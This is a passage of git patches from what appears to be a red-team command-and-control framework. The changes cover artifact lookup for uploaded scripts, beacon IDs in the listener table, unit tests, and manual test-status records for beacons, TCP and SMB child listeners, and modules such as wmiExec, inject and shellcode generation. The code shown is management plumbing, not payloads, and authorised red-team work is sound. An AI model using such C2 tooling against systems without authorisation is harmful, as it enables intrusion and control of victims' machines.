TeamServerPreparedInputArtifact TeamServerFileArtifactService::resolveUploadArti query.target = "beacon"; query.platform = platformName(isWindows); query.arch = normalizeArch(isWindows, arch, m_runtimeConfig); - query.runtime = "file"; TeamServerArtifactCatalog catalog(m_runtimeConfig); const std::vector artifacts = catalog.listArtifacts(query); - const auto artifact = std::find_if( - artifacts.begin(), - artifacts.end(), - [&](const TeamServerArtifactRecord& candidate) - { - return matchesSelector(candidate, selector); - }); + const TeamServerArtifactRecord* artifact = findMatchingArtifact(artifacts, selector); - if (artifact == artifacts.end()) + if (artifact == nullptr) { result.message = "Upload artifact not found: " + selector + ". Put files under UploadedArtifacts/" @@ -233,20 +242,29 @@ TeamServerPreparedInputArtifact TeamServerFileArtifactService::resolveScriptArti TeamServerArtifactCatalog catalog(m_runtimeConfig); const std::vector artifacts = catalog.listArtifacts(query); - const auto artifact = std::find_if( - artifacts.begin(), - artifacts.end(), - [&](const TeamServerArtifactRecord& candidate) - { - return matchesSelector(candidate, selector); - }); + const TeamServerArtifactRecord* artifact = findMatchingArtifact(artifacts, selector); - if (artifact == artifacts.end()) + std::vector uploadArtifacts; + if (artifact == nullptr) + { + TeamServerArtifactQuery uploadQuery; + uploadQuery.category = "upload"; + uploadQuery.scope = "operator"; + uploadQuery.target = "beacon"; + uploadQuery.platform = query.platform; + uploadQuery.arch = query.arch; + uploadArtifacts = catalog.listArtifacts(uploadQuery); + artifact = findMatchingArtifact(uploadArtifacts, selector); + } + + if (artifact == nullptr) { result.message = "Script artifact not found: " + selector + ". Put scripts under Scripts/" + platformName(isWindows) - + " or Scripts/Any."; + + " or Scripts/Any, or upload script files under UploadedArtifacts/" + + platformName(isWindows) + "/" + query.arch + + " or UploadedArtifacts/Any/any."; return result; } diff --git a/teamServer/tests/TeamServerArtifactCatalogTests.cpp b/teamServer/tests/TeamServerArtifactCatalogTests.cpp index a20ad20..04832b4 100644 --- a/teamServer/tests/TeamServerArtifactCatalogTests.cpp +++ b/teamServer/tests/TeamServerArtifactCatalogTests.cpp @@ -119,6 +119,7 @@ void seedArtifacts(const TeamServerRuntimeConfig& runtimeConfig) writeFile(fs::path(runtimeConfig.scriptsDirectoryPath) / "Linux" / "startup.py", "script"); writeFile(fs::path(runtimeConfig.scriptsDirectoryPath) / "Windows" / ".ignored.ps1", "hidden-script"); writeFile(fs::path(runtimeConfig.uploadedArtifactsDirectoryPath) / "Any" / "any" / "operator-note.txt", "upload"); + writeFile(fs::path(runtimeConfig.uploadedArtifactsDirectoryPath) / "Linux" / "x64" / "testScript.sh", "script upload"); writeFile(fs::path(runtimeConfig.hostedArtifactsDirectoryPath) / "payload.bin", "hosted-file"); } @@ -151,7 +152,7 @@ void testCatalogIndexesReleaseRoots() TeamServerArtifactCatalog catalog(runtimeConfig); const std::vector artifacts = catalog.listArtifacts(); - assert(artifacts.size() == 11); + assert(artifacts.size() == 12); assert(findArtifact(artifacts, ".ignored.ps1", "script", "windows", "any") == nullptr); const TeamServerArtifactRecord* windowsModule = findArtifact(artifacts, "winmod64.dll", "module", "windows", "x64"); @@ -190,6 +191,11 @@ void testCatalogIndexesReleaseRoots() assert(upload->target == "beacon"); assert(upload->runtime == "file"); + const TeamServerArtifactRecord* uploadScript = findArtifact(artifacts, "testScript.sh", "upload", "linux", "x64"); + assert(uploadScript != nullptr); + assert(uploadScript->format == "sh"); + assert(uploadScript->runtime == "shell"); + const TeamServerArtifactRecord* hosted = findArtifact(artifacts, "payload.bin", "hosted", "any", "any"); assert(hosted != nullptr); assert(hosted->scope == "generated"); @@ -259,6 +265,13 @@ void testCatalogFiltersArtifacts() artifacts = catalog.listArtifacts(pythonScripts); assert(artifacts.size() == 1); assert(artifacts[0].name == "startup.py"); + + TeamServerArtifactQuery uploadedShellScripts; + uploadedShellScripts.category = "upload"; + uploadedShellScripts.runtime = "shell"; + artifacts = catalog.listArtifacts(uploadedShellScripts); + assert(artifacts.size() == 1); + assert(artifacts[0].name == "testScript.sh"); } void testCatalogIndexesAndDeletesGeneratedArtifacts() diff --git a/teamServer/tests/TeamServerCommandPreparationServiceTests.cpp b/teamServer/tests/TeamServerCommandPreparationServiceTests.cpp index 0fbd252..c1b1f64 100644 --- a/teamServer/tests/TeamServerCommandPreparationServiceTests.cpp +++ b/teamServer/tests/TeamServerCommandPreparationServiceTests.cpp @@ -516,6 +516,7 @@ void testPrepareUploadUsesUploadedArtifact() ScopedPath tempRoot(makeTempDirectory("upload-preparer")); TeamServerRuntimeConfig runtimeConfig = makeRuntimeConfig(tempRoot.path()); writeFile(fs::path(runtimeConfig.uploadedArtifactsDirectoryPath) / "Any" / "any" / "operator.bin", "UPLOAD-BYTES"); + writeFile(fs::path(runtimeConfig.uploadedArtifactsDirectoryPath) / "Any" / "any" / "uploadedScript.sh", "SCRIPT-BYTES"); CommonCommands commonCommands; std::vector> modules; @@ -546,6 +547,11 @@ void testPrepareUploadUsesUploadedArtifact() require(message.outputfile() == "C:\\Temp\\operator.bin", "upload remote path mismatch"); require(message.data() == "UPLOAD-BYTES", "upload bytes mismatch"); + C2Message scriptUploadMessage; + require(service.prepareMessage("upload uploadedScript.sh /tmp/uploadedScript.sh", scriptUploadMessage, false, "amd64") == 0, "script-like upload artifact prepare failed"); + require(scriptUploadMessage.inputfile() == "uploadedScript.sh", "script-like upload input artifact mismatch"); + require(scriptUploadMessage.data() == "SCRIPT-BYTES", "script-like upload bytes mismatch"); + C2Message missingMessage; require(service.prepareMessage("upload missing.bin C:\\Temp\\missing.bin", missingMessage, true, "amd64") == -1, "missing upload artifact should fail"); require(missingMessage.returnvalue().find("Upload artifact not found") != std::string::npos, "missing upload error mismatch"); @@ -665,6 +671,7 @@ void testPrepareScriptAndPowershellUseScriptArtifacts() TeamServerRuntimeConfig runtimeConfig = makeRuntimeConfig(tempRoot.path()); writeFile(fs::path(runtimeConfig.scriptsDirectoryPath) / "Linux" / "collect.sh", "id\n"); writeFile(fs::path(runtimeConfig.scriptsDirectoryPath) / "Windows" / "collect.ps1", "Get-Process\n"); + writeFile(fs::path(runtimeConfig.uploadedArtifactsDirectoryPath) / "Linux" / "x64" / "uploadedCollect.sh", "hostname\n"); CommonCommands commonCommands; std::vector> modules; @@ -695,6 +702,12 @@ void testPrepareScriptAndPowershellUseScriptArtifacts() require(scriptMessage.inputfile() == "collect.sh", "script input artifact mismatch"); require(scriptMessage.data() == "id\n", "script bytes mismatch"); + C2Message uploadedScriptMessage; + require(service.prepareMessage("script uploadedCollect.sh", uploadedScriptMessage, false, "amd64") == 0, "uploaded script prepare failed"); + require(uploadedScriptMessage.instruction() == "script", "uploaded script instruction mismatch"); + require(uploadedScriptMessage.inputfile() == "uploadedCollect.sh", "uploaded script input artifact mismatch"); + require(uploadedScriptMessage.data() == "hostname\n", "uploaded script bytes mismatch"); + C2Message powershellMessage; require(service.prepareMessage("powershell -s collect.ps1", powershellMessage, true, "x64") == 0, "powershell script prepare failed"); require(powershellMessage.instruction() == "powershell", "powershell instruction mismatch"); From 77693273ce2657f98a6443ac0e4013a844b6848d Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Fri, 8 May 2026 20:03:21 +0200 Subject: [PATCH 58/82] manual test --- C2Client/C2Client/ListenerPanel.py | 51 +++++++++++++++++++++------ C2Client/tests/test_listener_panel.py | 32 +++++++++++++++++ docs/testing/manual-results.yaml | 4 +-- 3 files changed, 75 insertions(+), 12 deletions(-) diff --git a/C2Client/C2Client/ListenerPanel.py b/C2Client/C2Client/ListenerPanel.py index 2ce9975..685faf8 100644 --- a/C2Client/C2Client/ListenerPanel.py +++ b/C2Client/C2Client/ListenerPanel.py @@ -178,13 +178,28 @@ def validate_listener_fields(listenerType, param1, param2): # class Listener(): - def __init__(self, id, hash, type, host, port, nbSession): + def __init__(self, id, hash, type, host, port, nbSession, beaconHash=""): self.id = id self.listenerHash = hash self.type = type self.host = host self.port = port self.nbSession = nbSession + self.beaconHash = beaconHash + + def hostDisplay(self): + if self.beaconHash: + return self.beaconHash[:8] + return self.host + + def hostTooltip(self): + if not self.beaconHash: + return self.host + + endpoint = self.host + if self.port: + endpoint = f"{endpoint}:{self.port}" + return f"Beacon ID: {self.beaconHash}\nEndpoint: {endpoint}" class Listeners(QWidget): @@ -321,6 +336,7 @@ def scriptSnapshot(self): { "id": listenerStore.id, "listener_hash": _text(listenerStore.listenerHash), + "beacon_hash": _text(listenerStore.beaconHash), "type": _text(listenerStore.type), "host": _text(listenerStore.host), "port": listenerStore.port, @@ -448,18 +464,33 @@ def listListeners(self): # maj if listener.listener_hash == listenerStore.listenerHash: inStore=True - listenerStore.nbSession=listener.session_count + listenerStore.type = listener.type + listenerStore.nbSession = listener.session_count + listenerStore.beaconHash = _text(getattr(listener, "beacon_hash", "")) + if listener.type == GithubType: + listenerStore.host = listener.project + listenerStore.port = listener.token[0:10] + elif listener.type == DnsType: + listenerStore.host = listener.domain + listenerStore.port = listener.port + elif listener.type == SmbType: + listenerStore.host = listener.ip + listenerStore.port = listener.domain + else: + listenerStore.host = listener.ip + listenerStore.port = listener.port # add # if listener is not yet already on our list if not inStore: + beaconHash = _text(getattr(listener, "beacon_hash", "")) if listener.type == GithubType: - listenerStore = Listener(self.idListener, listener.listener_hash, listener.type, listener.project, listener.token[0:10], listener.session_count) + listenerStore = Listener(self.idListener, listener.listener_hash, listener.type, listener.project, listener.token[0:10], listener.session_count, beaconHash) elif listener.type == DnsType: - listenerStore = Listener(self.idListener, listener.listener_hash, listener.type, listener.domain, listener.port, listener.session_count) + listenerStore = Listener(self.idListener, listener.listener_hash, listener.type, listener.domain, listener.port, listener.session_count, beaconHash) elif listener.type == SmbType: - listenerStore = Listener(self.idListener, listener.listener_hash, listener.type, listener.ip, listener.domain, listener.session_count) + listenerStore = Listener(self.idListener, listener.listener_hash, listener.type, listener.ip, listener.domain, listener.session_count, beaconHash) else: - listenerStore = Listener(self.idListener, listener.listener_hash, listener.type, listener.ip, listener.port, listener.session_count) + listenerStore = Listener(self.idListener, listener.listener_hash, listener.type, listener.ip, listener.port, listener.session_count, beaconHash) self.listListenerObject.append(listenerStore) self.idListener = self.idListener+1 self.listenerScriptSignal.emit( @@ -474,10 +505,10 @@ def listListeners(self): def printListeners(self): self.listListener.setRowCount(len(self.listListenerObject)) - self.listListener.setHorizontalHeaderLabels(["ID", "Type", "Host", "Port"]) + self.listListener.setHorizontalHeaderLabels(["ID", "Type", "Host/Beacon", "Port"]) for index, tooltip in { 0: "Listener hash", - 2: "Bind IP, domain, project, or pivot host", + 2: "Primary bind host, or beacon ID for child listeners.", }.items(): headerItem = self.listListener.horizontalHeaderItem(index) if headerItem is not None: @@ -490,8 +521,8 @@ def printListeners(self): type = QTableWidgetItem(listenerStore.type) self.listListener.setItem(ix, 1, type) - host = QTableWidgetItem(listenerStore.host) - host.setToolTip(listenerStore.host) + host = QTableWidgetItem(listenerStore.hostDisplay()) + host.setToolTip(listenerStore.hostTooltip()) self.listListener.setItem(ix, 2, host) port = QTableWidgetItem(str(listenerStore.port)) diff --git a/C2Client/tests/test_listener_panel.py b/C2Client/tests/test_listener_panel.py index dfa25c2..c770c55 100644 --- a/C2Client/tests/test_listener_panel.py +++ b/C2Client/tests/test_listener_panel.py @@ -1,3 +1,5 @@ +from types import SimpleNamespace + from PyQt6.QtWidgets import QApplication, QHeaderView, QLineEdit, QWidget from C2Client.ListenerPanel import ( @@ -186,6 +188,7 @@ def test_listener_toolbar_actions_use_selected_listener(qtbot, monkeypatch): assert listeners.addListenerButton.text() == "Add" assert listeners.copyListenerIdButton.text() == "Copy" assert listeners.listListener.horizontalHeaderItem(0).text() == "ID" + assert listeners.listListener.horizontalHeaderItem(2).text() == "Host/Beacon" assert listeners.listListener.horizontalHeader().sectionResizeMode(2) == QHeaderView.ResizeMode.Stretch listeners.listListener.selectRow(0) @@ -215,6 +218,7 @@ def test_listener_script_snapshot_exposes_listener_context(qtbot, monkeypatch): { "id": 0, "listener_hash": "listener-full-hash", + "beacon_hash": "", "type": "https", "host": "0.0.0.0", "port": 8443, @@ -240,3 +244,31 @@ def test_listener_table_keeps_user_column_width_after_refresh(qtbot, monkeypatch assert listeners.listListener.columnWidth(0) == 123 assert listeners.listListener.item(0, 2).text() == "192.168.56.120" assert listeners.listListener.item(0, 2).toolTip() == "192.168.56.120" + + +def test_child_listener_displays_beacon_id_in_host_column(qtbot, monkeypatch): + monkeypatch.setattr("C2Client.ListenerPanel.QThread.start", lambda self: None) + + class ChildListenerGrpc(StubGrpc): + def listListeners(self): + return [ + SimpleNamespace( + listener_hash="child-listener-full-hash", + beacon_hash="beacon-full-hash", + type="tcp", + ip="0.0.0.0", + port=4444, + session_count=0, + ) + ] + + parent = QWidget() + listeners = Listeners(parent, ChildListenerGrpc()) + qtbot.addWidget(listeners) + + listeners.listListeners() + + assert listeners.listListener.item(0, 2).text() == "beacon-f" + assert "Beacon ID: beacon-full-hash" in listeners.listListener.item(0, 2).toolTip() + assert "Endpoint: 0.0.0.0:4444" in listeners.listListener.item(0, 2).toolTip() + assert listeners.scriptSnapshot()[0]["beacon_hash"] == "beacon-full-hash" diff --git a/docs/testing/manual-results.yaml b/docs/testing/manual-results.yaml index 9456d2e..9e4ec27 100644 --- a/docs/testing/manual-results.yaml +++ b/docs/testing/manual-results.yaml @@ -110,8 +110,8 @@ results: date: "2026-05-08" build: "local-dev" tester: "max" - evidence: "Validated listModule, loadModule ls, loadModule cd, duplicate loadModule ls rejection, cd ., ls, sleep 0.01, and listModule on an active beacon. listenerPoll heartbeat no longer creates noisy task-result logs after starting a beacon-side TCP listener." - notes: "Covers command queueing, duplicate module tracking, result routing, sleep command result, module list state, and child listener heartbeat handling." + evidence: "Validated listModule, loadModule ls, loadModule cd, duplicate loadModule ls rejection, cd ., ls, sleep 0.01, and listModule on an active beacon. listenerPoll heartbeat no longer creates noisy task-result logs after starting a beacon-side TCP listener. After TeamServer restart, the existing beacon-side TCP child listener reappears in the listener table and no repeated registered child listener info logs are emitted." + notes: "Covers command queueing, duplicate module tracking, result routing, sleep command result, module list state, child listener heartbeat handling, and child listener rehydration after TeamServer restart." - id: TEAMSERVER-CONFIG-DIRECTORIES-001 status: pass From 9785b26cf34e1fb85913befdc32c65cca10c5a41 Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Fri, 8 May 2026 20:40:21 +0200 Subject: [PATCH 59/82] manual test --- core | 2 +- .../tests/TeamServerCommandPreparationServiceTests.cpp | 10 ++++++++++ 2 files changed, 11 insertions(+), 1 deletion(-) diff --git a/core b/core index c234245..a451f75 160000 --- a/core +++ b/core @@ -1 +1 @@ -Subproject commit c2342450207ae3503e111c23ae65c7aae580ba54 +Subproject commit a451f75f1012dd57b9c9e11bcbf9ec792bb2f2e3 diff --git a/teamServer/tests/TeamServerCommandPreparationServiceTests.cpp b/teamServer/tests/TeamServerCommandPreparationServiceTests.cpp index c1b1f64..96ca34c 100644 --- a/teamServer/tests/TeamServerCommandPreparationServiceTests.cpp +++ b/teamServer/tests/TeamServerCommandPreparationServiceTests.cpp @@ -224,6 +224,16 @@ void testPrepareCommonCommand() assert(listenerMessage.instruction() == ListenerCmd); assert(listenerMessage.cmd() == "STA tcp 0.0.0.0 4444"); + C2Message smbListenerMessage; + assert(service.prepareMessage("listener start smb titi", smbListenerMessage, true) == 0); + assert(smbListenerMessage.instruction() == ListenerCmd); + assert(smbListenerMessage.cmd() == "STA smb beacon titi"); + + C2Message oldSmbListenerMessage; + assert(service.prepareMessage("listener start smb host titi", oldSmbListenerMessage, true) == -1); + assert(oldSmbListenerMessage.instruction().empty()); + assert(oldSmbListenerMessage.returnvalue() == "Usage: listener start smb "); + C2Message invalidPortMessage; assert(service.prepareMessage("listener start tcp 0.0.0.0 notaport", invalidPortMessage, true) == -1); assert(invalidPortMessage.instruction().empty()); From 19cb6ee498f904be71a1fc655a0da5d628b71ad2 Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Fri, 8 May 2026 21:08:24 +0200 Subject: [PATCH 60/82] manual test --- docs/TEST_GAPS.md | 5 +---- docs/TEST_MATRIX.md | 8 ++++---- docs/TEST_STATE.md | 14 ++++++-------- docs/testing/manual-results.yaml | 30 +++++++++++++++++++++++++++--- 4 files changed, 38 insertions(+), 19 deletions(-) diff --git a/docs/TEST_GAPS.md b/docs/TEST_GAPS.md index b139543..3246f1b 100644 --- a/docs/TEST_GAPS.md +++ b/docs/TEST_GAPS.md @@ -6,7 +6,6 @@ _Generated by `scripts/generate-test-state.py`._ |---|---|---|---|---|---|---|---| | blocked | critical | `RELEASE-WINDOWS-ARTIFACTS-001` | Release | Windows release artifacts | Build/release output contains WindowsBeacons/, WindowsModules, Tools, Scripts, CommandSpecs, and TeamServer data layout. | n/a | blocked | | partial | critical | `ARTIFACT-TOOLS-001` | Artifacts | Tools | Resolve Tools// and Tools/Any/any for module preparers and terminal upload. | pass | untested | -| partial | critical | `VALIDATION-ERROR-HANDLING-001` | Validation | Error handling | Reject invalid commands, missing artifacts, missing tools, invalid listener fields, and failed module preparation with clear messages. | pass | untested | | partial | high | `C2CLIENT-CONFIG-CERT-001` | C2Client | TLS certificate config | Use C2_CERT_PATH when set and report a clear error when the certificate is missing. | pass | untested | | partial | high | `C2CLIENT-CONSOLE-HELP-001` | C2Client | Beacon command help | Render help from TeamServer CommandSpec without legacy << or >> markers. | pass | untested | | partial | high | `C2CLIENT-HOOKS-PANEL-001` | C2Client | Hooks panel | List hooks with descriptions/tooltips, activation counts, and manual start using context snapshot. | pass | untested | @@ -15,8 +14,8 @@ _Generated by `scripts/generate-test-state.py`._ | partial | high | `C2CLIENT-TERMINAL-BASE-001` | C2Client | Terminal tab | Show base help text, command history, unified colors, and terminal autocomplete. | pass | untested | | partial | high | `C2CLIENT-TERMINAL-DROPPER-001` | C2Client | Dropper | Generate and host droppers with selected beacon arch and shellcode generator. | pass | untested | | partial | high | `COMMON-END-001` | CommonCommands | end | Stop a beacon session cleanly. | pass | untested | -| partial | high | `COMMON-LISTENER-001` | CommonCommands | listener | Start and stop child listeners from a beacon using validated listener parameters. | pass | untested | | partial | high | `COMMON-SLEEP-001` | CommonCommands | sleep | Change beacon sleep interval and reject invalid values clearly. | pass | untested | +| partial | high | `LISTENER-SMB-001` | Listeners | SMB listener | Start SMB listener and route task/result traffic through named pipe transport. | untested | pass | | partial | high | `LISTENER-TCP-001` | Listeners | TCP listener | Start TCP listener and route task/result traffic. | untested | pass | | partial | high | `MODULE-CHISEL-CONTRACT-001` | Modules | chisel | Resolve fixed chisel binary from Tools for beacon arch and manage chisel start/status/stop. | pass | untested | | partial | high | `MODULE-COFFLOADER-CONTRACT-001` | Modules | coffLoader | Load COFF object from Tools and execute with packed arguments. | pass | untested | @@ -64,9 +63,7 @@ _Generated by `scripts/generate-test-state.py`._ | partial | medium | `MODULE-WMIEXEC-CONTRACT-001` | Modules | wmiExec | Validate WMI execution parameters and execute a controlled remote command when lab target exists. | pass | untested | | partial | medium | `TEAMSERVER-SOCKS-SERVICE-001` | TeamServer | SOCKS service | Start, list, and stop TeamServer SOCKS routes from terminal commands. | pass | untested | | untested | critical | `RELEASE-LINUX-ARTIFACTS-001` | Release | Linux release artifacts | Build/release output contains LinuxBeacons/, LinuxModules/, Tools/Linux/, Scripts/Linux, and CommandSpecs. | n/a | untested | -| untested | critical | `VALIDATION-GOLDEN-PATH-WINDOWS-001` | Validation | Windows golden path | End-to-end Windows x64 HTTPS validation: connect, load module, run commands, use artifacts, generate output, host artifact. | n/a | untested | | untested | high | `LISTENER-HTTP-001` | Listeners | HTTP listener | Start listener, register beacon, and exchange simple command results. | n/a | untested | -| untested | high | `LISTENER-SMB-001` | Listeners | SMB listener | Start SMB listener and route task/result traffic through named pipe transport. | untested | untested | | untested | medium | `LISTENER-DNS-001` | Listeners | DNS listener | Start DNS listener and route task/result traffic within DNS transport limits. | untested | untested | | untested | medium | `LISTENER-GITHUB-001` | Listeners | GitHub listener | Start GitHub listener and route task/result traffic through configured repository transport. | untested | untested | | planned | medium | `C2CLIENT-TERMINAL-CREDENTIALS-001` | C2Client | Credential store terminal commands | Add, list, and retrieve credentials through terminal commands. | n/a | n/a | diff --git a/docs/TEST_MATRIX.md b/docs/TEST_MATRIX.md index a3ee21e..f1c8b9d 100644 --- a/docs/TEST_MATRIX.md +++ b/docs/TEST_MATRIX.md @@ -38,7 +38,7 @@ _Generated by `scripts/generate-test-state.py`._ | partial | auto+manual | high | `COMMON-END-001` | CommonCommands | end | any | any | any | n/a | pass | untested | | pass | auto+manual | critical | `COMMON-HELP-001` | CommonCommands | help | any | any | any | command_specs | pass | pass | | pass | auto+manual | high | `COMMON-LISTMODULE-001` | CommonCommands | listModule | any | any | any | modules | pass | pass | -| partial | auto+manual | high | `COMMON-LISTENER-001` | CommonCommands | listener | any | any | any | n/a | pass | untested | +| pass | auto+manual | high | `COMMON-LISTENER-001` | CommonCommands | listener | any | any | any | n/a | pass | pass | | pass | auto+manual | critical | `COMMON-LOADMODULE-001` | CommonCommands | loadModule | any | any | any | modules | pass | pass | | partial | auto+manual | high | `COMMON-SLEEP-001` | CommonCommands | sleep | any | any | any | n/a | pass | untested | | pass | auto+manual | critical | `COMMON-UNLOADMODULE-001` | CommonCommands | unloadModule | any | any | any | modules | pass | pass | @@ -46,7 +46,7 @@ _Generated by `scripts/generate-test-state.py`._ | untested | auto+manual | medium | `LISTENER-GITHUB-001` | Listeners | GitHub listener | any | any | github | n/a | untested | untested | | untested | manual | high | `LISTENER-HTTP-001` | Listeners | HTTP listener | any | any | http | n/a | n/a | untested | | pass | auto+manual | critical | `LISTENER-HTTPS-001` | Listeners | HTTPS listener | any | any | https | hosted | pass | pass | -| untested | auto+manual | high | `LISTENER-SMB-001` | Listeners | SMB listener | windows | any | smb | n/a | untested | untested | +| partial | auto+manual | high | `LISTENER-SMB-001` | Listeners | SMB listener | windows | any | smb | n/a | untested | pass | | partial | auto+manual | high | `LISTENER-TCP-001` | Listeners | TCP listener | any | any | tcp | n/a | untested | pass | | pass | auto | critical | `MODULE-COMMANDSPEC-COVERAGE-001` | Modules | CommandSpec coverage | teamserver | n/a | n/a | command_specs | pass | n/a | | partial | auto+manual | high | `MODULE-SIMPLE-FILESYSTEM-001` | Modules | Simple filesystem modules | any | any | https | any | pass | untested | @@ -114,6 +114,6 @@ _Generated by `scripts/generate-test-state.py`._ | partial | auto+manual | medium | `TEAMSERVER-SOCKS-SERVICE-001` | TeamServer | SOCKS service | teamserver | n/a | any | n/a | pass | untested | | partial | auto+manual | high | `TEAMSERVER-SHELLCODE-SERVICE-001` | TeamServer | Shellcode service | teamserver | x64 | n/a | generated | pass | untested | | pass | auto+manual | critical | `TEAMSERVER-STARTUP-TLS-001` | TeamServer | Startup and TLS | teamserver | n/a | https | n/a | pass | pass | -| partial | auto+manual | critical | `VALIDATION-ERROR-HANDLING-001` | Validation | Error handling | any | any | any | any | pass | untested | +| pass | auto+manual | critical | `VALIDATION-ERROR-HANDLING-001` | Validation | Error handling | any | any | any | any | pass | pass | | pass | manual | critical | `VALIDATION-GOLDEN-PATH-LINUX-001` | Validation | Linux golden path | linux | x64 | https | any | n/a | pass | -| untested | manual | critical | `VALIDATION-GOLDEN-PATH-WINDOWS-001` | Validation | Windows golden path | windows | x64 | https | any | n/a | untested | +| pass | manual | critical | `VALIDATION-GOLDEN-PATH-WINDOWS-001` | Validation | Windows golden path | windows | x64 | https | any | n/a | pass | diff --git a/docs/TEST_STATE.md b/docs/TEST_STATE.md index 60fdd75..a44b232 100644 --- a/docs/TEST_STATE.md +++ b/docs/TEST_STATE.md @@ -10,11 +10,11 @@ _Generated by `scripts/generate-test-state.py`._ | Status | Count | |---|---:| -| pass | 46 | +| pass | 49 | | fail | 0 | | blocked | 1 | -| partial | 58 | -| untested | 6 | +| partial | 57 | +| untested | 4 | | planned | 2 | ## Validation Modes @@ -33,12 +33,12 @@ _Generated by `scripts/generate-test-state.py`._ | Artifacts | 4 | 0 | 0 | 1 | 0 | 0 | 5 | | Beacon | 5 | 0 | 0 | 0 | 0 | 0 | 5 | | C2Client | 10 | 0 | 0 | 10 | 0 | 1 | 21 | -| CommonCommands | 4 | 0 | 0 | 3 | 0 | 0 | 7 | -| Listeners | 1 | 0 | 0 | 1 | 4 | 0 | 6 | +| CommonCommands | 5 | 0 | 0 | 2 | 0 | 0 | 7 | +| Listeners | 1 | 0 | 0 | 2 | 3 | 0 | 6 | | Modules | 12 | 0 | 0 | 39 | 0 | 1 | 52 | | Release | 0 | 0 | 1 | 0 | 1 | 0 | 2 | | TeamServer | 9 | 0 | 0 | 3 | 0 | 0 | 12 | -| Validation | 1 | 0 | 0 | 1 | 1 | 0 | 3 | +| Validation | 3 | 0 | 0 | 0 | 0 | 0 | 3 | ## Critical Non-Pass @@ -46,6 +46,4 @@ _Generated by `scripts/generate-test-state.py`._ |---|---|---|---|---|---| | blocked | `RELEASE-WINDOWS-ARTIFACTS-001` | Release | Windows release artifacts | n/a | blocked | | partial | `ARTIFACT-TOOLS-001` | Artifacts | Tools | pass | untested | -| partial | `VALIDATION-ERROR-HANDLING-001` | Validation | Error handling | pass | untested | | untested | `RELEASE-LINUX-ARTIFACTS-001` | Release | Linux release artifacts | n/a | untested | -| untested | `VALIDATION-GOLDEN-PATH-WINDOWS-001` | Validation | Windows golden path | n/a | untested | diff --git a/docs/testing/manual-results.yaml b/docs/testing/manual-results.yaml index 9e4ec27..40603b9 100644 --- a/docs/testing/manual-results.yaml +++ b/docs/testing/manual-results.yaml @@ -193,6 +193,22 @@ results: evidence: "Created TCP listener on 4444. .\\BeaconTcp.exe 172.28.141.244 4444 -> connection OK. loadModule/cd/ls/upload/cat commands completed over TCP." notes: "Windows beacon over TCP listener 4444." + - id: LISTENER-SMB-001 + status: pass + date: "2026-05-08" + build: "local-dev" + tester: "max" + evidence: "listener start smb gogo returned a child listener hash. After the SMB listener stop fix, listener stop was retested and the parent beacon remained responsive instead of freezing." + notes: "Validates Windows SMB/named-pipe child listener start and stop behavior after waking the SMB listener thread before join." + + - id: COMMON-LISTENER-001 + status: pass + date: "2026-05-08" + build: "local-dev" + tester: "max" + evidence: "Validated listener start tcp, listener start smb, child listener rehydration after TeamServer restart, and listener stop without beacon freeze." + notes: "Covers the common listener command contract for beacon-side child listeners." + - id: MODULE-CD-CONTRACT-001 status: pass date: "2026-05-07" @@ -345,13 +361,21 @@ results: evidence: "Linux HTTPS beacon completed listModule, loadModule ls/cd/cat/upload/download/script, cd, ls, upload of an UploadedArtifacts file to /tmp/c2-upload-test.txt, cat of the uploaded file, download back into GeneratedArtifacts, listModule state validation, and script testScript.sh from UploadedArtifacts after the runtime-by-extension fix." notes: "Validated Linux x64 happy path including UploadedArtifacts-backed script execution." + - id: VALIDATION-GOLDEN-PATH-WINDOWS-001 + status: pass + date: "2026-05-08" + build: "local-dev" + tester: "max" + evidence: "Windows x64 HTTPS beacon completed listModule, loadModule ls/cd/cat/upload/download/screenShot, cd to C:\\users\\max\\desktop, ls, upload by artifact hash to c2-upload-test.txt, cat returned toto, listModule showed loaded modules, and screenShot generated 1778266470248372166-d90a-desktop2.bmp." + notes: "Also validated expected failures for upload test.txt when the upload artifact was absent and download c2-upload-test2.txt when the remote file did not exist. Sleep 0.01 completed while screenshot was pending, confirming the beacon remained responsive." + - id: VALIDATION-ERROR-HANDLING-001 - status: untested + status: pass date: "2026-05-08" build: "local-dev" tester: "max" - evidence: "Validated clear errors for missing module, duplicate loadModule, missing upload artifact, missing download args, missing upload args, missing Donut source for assemblyExec/inject, missing script artifact for powershell, and Windows-only pwSh on Linux." - notes: "Keep final status partial until listener start tcp invalid-port rejection is retested with a rebuilt beacon. TeamServer-side validation now rejects non-numeric, zero, and out-of-range ports." + evidence: "Validated clear errors for missing module, duplicate loadModule, missing upload artifact, missing download args, missing upload args, missing Donut source for assemblyExec/inject, missing script artifact for powershell, and Windows-only pwSh on Linux. Retested rebuilt beacon listener validation: listener start tcp with notaport, 0, and 65536 all returned 'Error: Invalid TCP listener port. Expected an integer between 1 and 65535.' and did not create a listener." + notes: "Also validated listener start tcp 0.0.0.0 5555 then listener stop by full listener hash completed successfully." - id: RELEASE-WINDOWS-ARTIFACTS-001 status: blocked From b8ec13dd7550769daf7044a5fa785b8d2d1b5051 Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Fri, 8 May 2026 21:32:39 +0200 Subject: [PATCH 61/82] manual test --- core | 2 +- docs/TEST_GAPS.md | 1 - docs/TEST_MATRIX.md | 2 +- docs/TEST_STATE.md | 6 +-- docs/testing/manual-results.yaml | 8 ++++ .../TeamServerHttpListenerTransportTests.cpp | 44 +++++++++++++++++++ 6 files changed, 57 insertions(+), 6 deletions(-) diff --git a/core b/core index a451f75..a598b4f 160000 --- a/core +++ b/core @@ -1 +1 @@ -Subproject commit a451f75f1012dd57b9c9e11bcbf9ec792bb2f2e3 +Subproject commit a598b4f71a2a88d5b92ad9f80a9bf8a719cec146 diff --git a/docs/TEST_GAPS.md b/docs/TEST_GAPS.md index 3246f1b..c686c2e 100644 --- a/docs/TEST_GAPS.md +++ b/docs/TEST_GAPS.md @@ -63,7 +63,6 @@ _Generated by `scripts/generate-test-state.py`._ | partial | medium | `MODULE-WMIEXEC-CONTRACT-001` | Modules | wmiExec | Validate WMI execution parameters and execute a controlled remote command when lab target exists. | pass | untested | | partial | medium | `TEAMSERVER-SOCKS-SERVICE-001` | TeamServer | SOCKS service | Start, list, and stop TeamServer SOCKS routes from terminal commands. | pass | untested | | untested | critical | `RELEASE-LINUX-ARTIFACTS-001` | Release | 